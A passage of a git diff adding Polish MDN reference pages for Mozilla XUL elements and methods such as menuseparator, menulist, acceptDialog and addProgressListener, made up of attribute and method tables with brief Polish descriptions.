+<small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span> <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br>
+<small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p>
+
+</td>
+</tr>
+</tbody>
+</table>
+<dl><dt> <span id="m-appendItem"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/appendItem">appendItem( label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Tworzy nową pozycję i dodaje ją na koniec istniejącej listy pozycji. Opcjonalnie posiada ustawioną wartość. Funkcja zwraca nowo utworzony element. </dd></dl>
+<dl><dt> <span id="m-insertItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/insertItemAt">insertItemAt( index, label, value )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Ta metoda tworzy nowy element listy i umieszcza go w określonej pozycji. Opcjonalnie można ustawić jego wartość. Nowy element jest zwracany.
+</dd></dl>
+<dl><dt> <span id="m-removeAllItems"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeAllItems">removeAllItems()</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Usuwa wszystkie pozycje w <a href="pl/XUL/menu">menu</a>.
+</dd></dl>
+<p><br>
+</p>
+<dl><dt> <span id="m-removeItemAt"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/removeItemAt">removeItemAt( index )</a></code></span>
+</dt><dd> Zwraca typ: <i>element</i>
+</dd><dd> Usuwa pozycję potomną w elemencie o określonym indeksie. Metoda zwraca usuniętą pozycję.
+</dd></dl>
+<dl>
+ <dt>
+ <a href="pl/XUL/Metoda/menulist.select">select()</a></dt>
+ <dd>
+ Zwraca typ:
+ <i>
+ nie zwraca wartości</i>
+ </dd>
+ <dd>
+ Zaznacza cały tekst w polu tekstowym <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>. Ta metoda nakłada się tylko do list menu <code id="a-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/editable">editable</a></code>.</dd>
+</dl>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULMenuListElement">nsIDOMXULMenuListElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/menuseparator/index.html b/files/pl/mozilla/tech/xul/menuseparator/index.html
new file mode 100644
index 0000000000..b203650234
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/menuseparator/index.html
@@ -0,0 +1,149 @@
+---
+title: menuseparator
+slug: Mozilla/Tech/XUL/menuseparator
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/menuseparator
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p>Stosujemy do tworzenia separatorów pomiędzy poszczególnymi pozycjami menu. Zazwyczaj rysuje cieniutką linie.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Proste_paski_menu">kursie XUL</a>.
+</p>
+<dl><dt> Własności
+</dt><dd> <a href="#p-accessible">accessible</a>, <a href="#p-control">control</a>, <a href="#p-selected">selected</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad"> Przykład </h3>
+<pre>&lt;menu label="Help"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Contents"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="Release Notes"/&gt;
+ &lt;/menupopup&gt;
+&lt;/menu&gt;
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<div id="p-control">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/control">control</a></span></code>&lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+</dl>
+<p></p>
+<dl>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.</dd>
+</dl></div>
+<div id="p-selected">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/selected">selected</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-selected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/selected">selected</a></code>.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULSelectControlItemElement">nsIDOMXULSelectControlItemElement</a>
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/acceptdialog/index.html b/files/pl/mozilla/tech/xul/metoda/acceptdialog/index.html
new file mode 100644
index 0000000000..86735171e0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/acceptdialog/index.html
@@ -0,0 +1,18 @@
+---
+title: acceptDialog
+slug: Mozilla/Tech/XUL/Metoda/acceptDialog
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/acceptDialog
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/acceptDialog">acceptDialog()</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Akceptuje okienko dialogowe i je zamyka, działa podobnie jak naciśnięcie przycisku <code>OK</code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/additemtoselection/index.html b/files/pl/mozilla/tech/xul/metoda/additemtoselection/index.html
new file mode 100644
index 0000000000..c0b0e7cf9e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/additemtoselection/index.html
@@ -0,0 +1,17 @@
+---
+title: addItemToSelection
+slug: Mozilla/Tech/XUL/Metoda/addItemToSelection
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/addItemToSelection
+---
+<div class="noinclude"><span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <span id="m-addItemToSelection"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addItemToSelection">addItemToSelection( item )</a></code></span>
+</dt><dd> Zwraca typ: <i>nie zwraca wartości</i>
+</dd><dd> Zaznacza daną pozycje, bez odznaczania innych pozycji aktualnie zaznaczonych.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/metoda/addpane/index.html b/files/pl/mozilla/tech/xul/metoda/addpane/index.html
new file mode 100644
index 0000000000..77a2116e9e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/addpane/index.html
@@ -0,0 +1,18 @@
+---
+title: addPane
+slug: Mozilla/Tech/XUL/Metoda/addPane
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/addPane
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-addPane"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addPane">addPane( prefpane )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Dołącza <code><a href="/pl/docs/Mozilla/Tech/XUL/prefpane" title="prefpane">prefpane</a></code> do listy okien.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/addprogresslistener/index.html b/files/pl/mozilla/tech/xul/metoda/addprogresslistener/index.html
new file mode 100644
index 0000000000..a71a29fbc7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/metoda/addprogresslistener/index.html
@@ -0,0 +1,18 @@
+---
+title: addProgressListener
+slug: Mozilla/Tech/XUL/Metoda/addProgressListener
+tags:
+ - Dokumentacja_XUL
+ - Metody_XUL
+translation_of: Archive/Mozilla/XUL/Method/addProgressListener
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefMeth_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <span id="m-addProgressListener"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/addProgressListener">addProgressListener( listener )</a></code></span></dt>
+ <dd>
+ Zwraca typ: <i>nie zwraca wartości</i></dd>
+ <dd>
+ Dodaje do przeglądarki element nasłuchujący postęp, który będzie monitorował wczytywane dokumenty. Element nasłuchujący powinien implementować interfejs <a href="pl/NsIWebProgressListener">nsIWebProgressListener</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/metoda/addsession/index.html b/files/pl/mozilla/tech/xul/metoda/addsession/index.html
new file mode 100644
index 0000000000..f2664cad88
